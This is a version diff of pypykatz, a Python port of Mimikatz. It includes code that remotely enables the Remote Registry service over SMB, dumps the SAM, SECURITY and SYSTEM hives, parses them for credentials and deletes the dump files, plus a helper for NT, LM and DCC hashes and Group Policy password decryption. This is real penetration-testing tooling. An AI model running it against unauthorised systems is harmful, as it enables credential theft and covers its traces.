54 | logging.debug('[REGDUMP] Remote registry service should be running now...') | |
55 | files = {} | |
56 | for hive in hives: | |
57 | fname = '%s.%s' % (os.urandom(4).hex(), os.urandom(3).hex()) | |
58 | remote_path = remote_base_path + fname | |
59 | remote_sharepath = remote_share_name + fname | |
60 | remote_file = SMBFileReader(SMBFile.from_remotepath(connection, remote_sharepath)) | |
61 | files[hive.split('\\')[1].upper()] = remote_file | |
62 | ||
63 | logging.info('[REGDUMP] Dumping reghive %s to (remote) %s' % (hive, remote_path)) | |
64 | _, err = await machine.save_registry_hive(hive, remote_path) | |
65 | if err is not None: | |
66 | raise err | |
67 | ||
68 | #await asyncio.sleep(1) | |
69 | for rfilename in files: | |
70 | rfile = files[rfilename] | |
71 | logging.debug('[REGDUMP] Opening reghive file %s' % rfilename) | |
72 | _, err = await rfile.open(connection) | |
73 | if err is not None: | |
74 | raise err | |
75 | ||
76 | try: | |
77 | logging.debug('[REGDUMP] Parsing hives...') | |
78 | po = await OffineRegistry.from_async_reader( | |
79 | files['SYSTEM'], | |
80 | sam_reader = files.get('SAM'), | |
81 | security_reader = files.get('SECURITY'), | |
82 | software_reader = files.get('SOFTWARE') | |
83 | ) | |
84 | except Exception as e: | |
85 | print(e) | |
86 | ||
87 | logging.debug('[REGDUMP] Hives parsed OK!') | |
88 | ||
89 | logging.debug('[REGDUMP] Deleting remote files...') | |
90 | err = None | |
91 | for rfilename in files: | |
92 | rfile = files[rfilename] | |
93 | err = await rfile.close() | |
94 | if err is not None: | |
95 | logging.info('[REGDUMP] ERR! Failed to close hive dump file! %s' % rfilename) | |
96 | ||
97 | _, err = await rfile.delete() | |
98 | if err is not None: | |
99 | logging.info('[REGDUMP] ERR! Failed to delete hive dump file! %s' % rfilename) | |
100 | ||
101 | if err is None: | |
102 | logging.info('[REGDUMP] Deleting remote files OK!') | |
103 | return po | |
102 | ||
103 | logging.debug('[REGDUMP] Remote registry service status: %s' % status.name) | |
104 | if status != SMBServiceStatus.RUNNING: | |
105 | logging.debug('[REGDUMP] Enabling Remote registry service') | |
106 | _, err = await machine.enable_service('RemoteRegistry') | |
107 | if err is not None: | |
108 | raise err | |
109 | logging.debug('[REGDUMP] Starting Remote registry service') | |
110 | _, err = await machine.start_service('RemoteRegistry') | |
111 | if err is not None: | |
112 | raise err | |
113 | ||
114 | await asyncio.sleep(enable_wait) | |
115 | ||
116 | ||
117 | ||
118 | logging.debug('[REGDUMP] Remote registry service should be running now...') | |
119 | files = {} | |
120 | for hive in hives: | |
121 | fname = '%s.%s' % (os.urandom(4).hex(), os.urandom(3).hex()) | |
122 | remote_path = remote_base_path + fname | |
123 | remote_sharepath = remote_share_name + fname | |
124 | remote_file = SMBFileReader(SMBFile.from_remotepath(connection, remote_sharepath)) | |
125 | files[hive.split('\\')[1].upper()] = remote_file | |
126 | ||
127 | logging.info('[REGDUMP] Dumping reghive %s to (remote) %s' % (hive, remote_path)) | |
128 | _, err = await machine.save_registry_hive(hive, remote_path) | |
129 | if err is not None: | |
130 | raise err | |
131 | ||
132 | #await asyncio.sleep(1) | |
133 | for rfilename in files: | |
134 | rfile = files[rfilename] | |
135 | logging.debug('[REGDUMP] Opening reghive file %s' % rfilename) | |
136 | _, err = await rfile.open(connection) | |
137 | if err is not None: | |
138 | raise err | |
139 | ||
140 | try: | |
141 | logging.debug('[REGDUMP] Parsing hives...') | |
142 | po = await OffineRegistry.from_async_reader( | |
143 | files['SYSTEM'], | |
144 | sam_reader = files.get('SAM'), | |
145 | security_reader = files.get('SECURITY'), | |
146 | software_reader = files.get('SOFTWARE') | |
147 | ) | |
148 | except Exception as e: | |
149 | print(e) | |
150 | ||
151 | logging.debug('[REGDUMP] Hives parsed OK!') | |
152 | ||
153 | logging.debug('[REGDUMP] Deleting remote files...') | |
154 | err = None | |
155 | for rfilename in files: | |
156 | rfile = files[rfilename] | |
157 | err = await rfile.close() | |
158 | if err is not None: | |
159 | logging.info('[REGDUMP] ERR! Failed to close hive dump file! %s' % rfilename) | |
160 | ||
161 | _, err = await rfile.delete() | |
162 | if err is not None: | |
163 | logging.info('[REGDUMP] ERR! Failed to delete hive dump file! %s' % rfilename) | |
164 | ||
165 | if err is None: | |
166 | logging.info('[REGDUMP] Deleting remote files OK!') | |
167 | ||
168 | return targetid, po, None | |
169 | except Exception as e: | |
170 | return targetid, None, e | |
104 | 171 | |
105 | 172 | |
106 | 173 |
59 | 59 | from pypykatz.apypykatz import apypykatz |
60 | 60 | |
61 | 61 | |
62 | if targets is None and ldap_url is None: | |
63 | raise Exception('Shareenum needs a list of targets or LDAP connection string') | |
62 | #if targets is None and ldap_url is None: | |
63 | # raise Exception('Shareenum needs a list of targets or LDAP connection string') | |
64 | 64 | |
65 | 65 | if smb_url == 'auto': |
66 | 66 | smb_url = get_smb_url(authmethod=authmethod, protocol_version=protocol_version) |
100 | 100 | enumerator.target_gens.append(LDAPTargetGen(ldap_url)) |
101 | 101 | |
102 | 102 | if len(enumerator.target_gens) == 0: |
103 | raise Exception('No suitable targets found!') | |
103 | enumerator.enum_url = True | |
104 | #raise Exception('No suitable targets found!') | |
104 | 105 | |
105 | 106 | await enumerator.run() |
6 | 6 | class CryptoCMDHelper: |
7 | 7 | def __init__(self): |
8 | 8 | self.live_keywords = [] |
9 | self.keywords = ['nt','lm','dcc','dcc2','gppass'] | |
9 | self.keywords = ['crypto'] | |
10 | 10 | |
11 | 11 | def add_args(self, parser, live_parser): |
12 | group = parser.add_parser('nt', help='Generates NT hash of the password') | |
12 | ||
13 | crypto_group = parser.add_parser('crypto', help='Utils for generating hashes/decrypting secrets etc') | |
14 | crypto_subparsers = crypto_group.add_subparsers() | |
15 | crypto_subparsers.required = True | |
16 | crypto_subparsers.dest = 'crypto_module' | |
17 | ||
18 | group = crypto_subparsers.add_parser('nt', help='Generates NT hash of the password') | |
13 | 19 | group.add_argument('password', help= 'Password to be hashed') |
14 | 20 | |
15 | group = parser.add_parser('lm', help='Generates LM hash of the password') | |
21 | group = crypto_subparsers.add_parser('lm', help='Generates LM hash of the password') | |
16 | 22 | group.add_argument('password', help= 'Password to be hashed') |
17 | 23 | |
18 | group = parser.add_parser('dcc', help='Generates DCC v1 (domain cached credentials version 1) hash of the password') | |
24 | group = crypto_subparsers.add_parser('dcc', help='Generates DCC v1 (domain cached credentials version 1) hash of the password') | |
19 | 25 | group.add_argument('username', help= 'username') |
20 | 26 | group.add_argument('password', help= 'Password to be hashed') |
21 | 27 | |
22 | group = parser.add_parser('dcc2', help='Generates DCC v2 (domain cached credentials version 2) hash of the password') | |
28 | group = crypto_subparsers.add_parser('dcc2', help='Generates DCC v2 (domain cached credentials version 2) hash of the password') | |
23 | 29 | group.add_argument('username', help= 'username') |
24 | 30 | group.add_argument('password', help= 'Password to be hashed') |
25 | 31 | group.add_argument('-i','--iteration-count', type = int, default=10240, help= 'iteration-count') |
26 | 32 | |
27 | group = parser.add_parser('gppass', help='Decrypt GP passwords') | |
33 | group = crypto_subparsers.add_parser('gppass', help='Decrypt GP passwords') | |
28 | 34 | group.add_argument('enc', help='Encrypted password string') |
29 | 35 | |
30 | 36 | def execute(self, args): |
31 | 37 | if args.command in self.keywords: |
32 | 38 | self.run(args) |
33 | 39 | if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: |
34 | self.run_live(args) | |
40 | raise Exception('There are no live commands for crypto.') | |
41 | #self.run_live(args) | |
35 | 42 | |
36 | 43 | def run(self, args): |
37 | 44 | from pypykatz.utils.crypto.winhash import NT, LM, MSDCC, MSDCCv2 |
38 | 45 | from pypykatz.utils.crypto.gppassword import gppassword |
39 | if args.command == 'nt': | |
46 | ||
47 | if args.crypto_module == 'nt': | |
40 | 48 | print(NT(args.password).hex()) |
41 | 49 | |
42 | elif args.command == 'lm': | |
50 | elif args.crypto_module == 'lm': | |
43 | 51 | print(LM(args.password).hex()) |
44 | 52 | |
45 | elif args.command == 'dcc': | |
53 | elif args.crypto_module == 'dcc': | |
46 | 54 | print(MSDCC(args.username, args.password).hex()) |
47 | 55 | |
48 | elif args.command == 'dcc2': | |
56 | elif args.crypto_module == 'dcc2': | |
49 | 57 | print(MSDCCv2(args.username, args.password, args.iteration_count).hex()) |
50 | 58 | |
51 | elif args.command == 'gppass': | |
59 | elif args.crypto_module == 'gppass': | |
52 | 60 | print(gppassword(args.enc)) |
53 | 61 | ⏎ |
0 | 0 | Metadata-Version: 1.2 |
1 | 1 | Name: pypykatz |
2 | Version: 0.4.9 | |
2 | Version: 0.5.2 | |
3 | 3 | Summary: Python implementation of Mimikatz |
4 | 4 | Home-page: https://github.com/skelsec/pypykatz |
5 | 5 | Author: Tamas Jos |
63 | 63 | pypykatz/commons/readers/__init__.py |
64 | 64 | pypykatz/commons/readers/local/__init__.py |
65 | 65 | pypykatz/commons/readers/local/live_reader.py |
66 | pypykatz/commons/readers/local/process.py | |
66 | 67 | pypykatz/commons/readers/local/common/__init__.py |
67 | 68 | pypykatz/commons/readers/local/common/advapi32.py |
68 | 69 | pypykatz/commons/readers/local/common/defines.py |
127 | 128 | pypykatz/dpapi/cmdhelper.py |
128 | 129 | pypykatz/dpapi/constants.py |
129 | 130 | pypykatz/dpapi/dpapi.py |
131 | pypykatz/dpapi/extras.py | |
130 | 132 | pypykatz/dpapi/functiondefs/__init__.py |
131 | 133 | pypykatz/dpapi/functiondefs/dpapi.py |
132 | 134 | pypykatz/dpapi/structures/__init__.py |
187 | 189 | pypykatz/lsadecryptor/packages/wdigest/templates.py |
188 | 190 | pypykatz/plugins/__init__.py |
189 | 191 | pypykatz/plugins/pypykatz_rekall.py |
192 | pypykatz/rdp/__init__.py | |
193 | pypykatz/rdp/cmdhelper.py | |
194 | pypykatz/rdp/parser.py | |
195 | pypykatz/rdp/packages/__init__.py | |
196 | pypykatz/rdp/packages/creds/__init__.py | |
197 | pypykatz/rdp/packages/creds/decryptor.py | |
198 | pypykatz/rdp/packages/creds/templates.py | |
190 | 199 | pypykatz/registry/__init__.py |
191 | 200 | pypykatz/registry/aoffline_parser.py |
192 | 201 | pypykatz/registry/cmdhelper.py |
198 | 207 | pypykatz/registry/sam/sam.py |
199 | 208 | pypykatz/registry/sam/structures.py |
200 | 209 | pypykatz/registry/security/__init__.py |
210 | pypykatz/registry/security/acommon.py | |
201 | 211 | pypykatz/registry/security/asecurity.py |
202 | 212 | pypykatz/registry/security/common.py |
203 | 213 | pypykatz/registry/security/security.py |
223 | 233 | pypykatz/smb/cmdhelper.py |
224 | 234 | pypykatz/smb/dcsync.py |
225 | 235 | pypykatz/smb/lsassutils.py |
236 | pypykatz/smb/printer.py | |
226 | 237 | pypykatz/smb/regutils.py |
227 | 238 | pypykatz/smb/shareenum.py |
228 | 239 | pypykatz/utils/__init__.py |
0 | aiosmb>=0.2.40 | |
1 | aiowinreg>=0.0.4 | |
2 | minidump>=0.0.17 | |
3 | minikerberos>=0.2.10 | |
4 | msldap>=0.3.27 | |
0 | aiosmb>=0.2.50 | |
1 | aiowinreg>=0.0.7 | |
2 | minidump>=0.0.18 | |
3 | minikerberos>=0.2.14 | |
4 | msldap>=0.3.30 | |
5 | 5 | winacl>=0.1.1 |
44 | 44 | |
45 | 45 | # long_description=open("README.txt").read(), |
46 | 46 | python_requires='>=3.6', |
47 | classifiers=( | |
47 | classifiers=[ | |
48 | 48 | "Programming Language :: Python :: 3.6", |
49 | 49 | "License :: OSI Approved :: MIT License", |
50 | 50 | "Operating System :: OS Independent", |
51 | ), | |
51 | ], | |
52 | 52 | install_requires=[ |
53 | 'minidump>=0.0.17', | |
54 | 'minikerberos>=0.2.10', | |
55 | 'aiowinreg>=0.0.4', | |
56 | 'msldap>=0.3.27', | |
53 | 'minidump>=0.0.18', | |
54 | 'minikerberos>=0.2.14', | |
55 | 'aiowinreg>=0.0.7', | |
56 | 'msldap>=0.3.30', | |
57 | 57 | 'winacl>=0.1.1', |
58 | 'aiosmb>=0.2.40', | |
58 | 'aiosmb>=0.2.50', | |
59 | 59 | ], |
60 | 60 | |
61 | 61 | # No more conveinent .exe entry point thanks to some idiot who |